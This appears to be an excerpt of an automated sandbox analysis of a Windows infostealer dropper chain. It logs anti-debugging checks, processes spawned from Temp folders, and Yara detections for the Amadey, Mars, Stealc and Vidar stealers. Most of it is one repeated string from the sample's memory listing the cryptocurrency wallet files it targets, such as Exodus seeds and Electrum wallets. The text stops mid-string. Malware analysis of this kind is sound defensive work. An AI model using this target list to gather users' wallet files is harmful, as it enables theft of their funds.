Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe

Code function: 6_2_05320823 rdtsc

6_2_05320823

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe

Code function: 0_2_6C375FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C375FF0

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe

Code function: 0_2_6C37C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C37C410

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 13_2_004D643B mov eax, dword ptr fs:[00000030h]		13_2_004D643B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 13_2_004DA1A2 mov eax, dword ptr fs:[00000030h]		13_2_004DA1A2

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C34B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C34B66C
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C34B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C34B1F7

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe"	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\EGCGHCBKFC.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe "C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe "C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe"	Jump to behavior

Source: EHDHDHIECG.exe, EHDHDHIECG.exe, 00000006.00000002.2284909895.00000000008D4000.00000040.00000001.01000000.00000009.sdmp

Binary or memory string: 2@~Program Manager

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe

Code function: 0_2_6C34B341 cpuid

0_2_6C34B341

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\segoeuisl.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe

Code function: 0_2_6C3135A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C3135A0

Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe

Code function: 14_2_7EAE1DE0 GetUserNameA,

14_2_7EAE1DE0

Source: Amcache.hve.4.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 10.2.explorti.exe.4a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.EHDHDHIECG.exe.6d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.explorti.exe.4a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.explorti.exe.4a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000003.2697614197.0000000004F80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2284848732.00000000006D1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2194479080.0000000005100000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2326220541.00000000004A1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2316173620.00000000004A1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2285765629.00000000052F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3228822422.00000000004A1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2275708429.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Mars stealer

Source: Yara match	File source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.a3b2c9311b.exe.60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.2767076722.0000000000061000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2169837942.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2171110129.0000000001FEE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2770510086.00000000012DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ukuWaeRgPR.exe PID: 6340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: a3b2c9311b.exe PID: 3448, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.a3b2c9311b.exe.60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.2767076722.0000000000061000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2169837942.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ukuWaeRgPR.exe PID: 6340, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000DCA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000DCA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000DCA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000DCA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000DCA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000DCA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000DCA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000DCA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000DCA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local 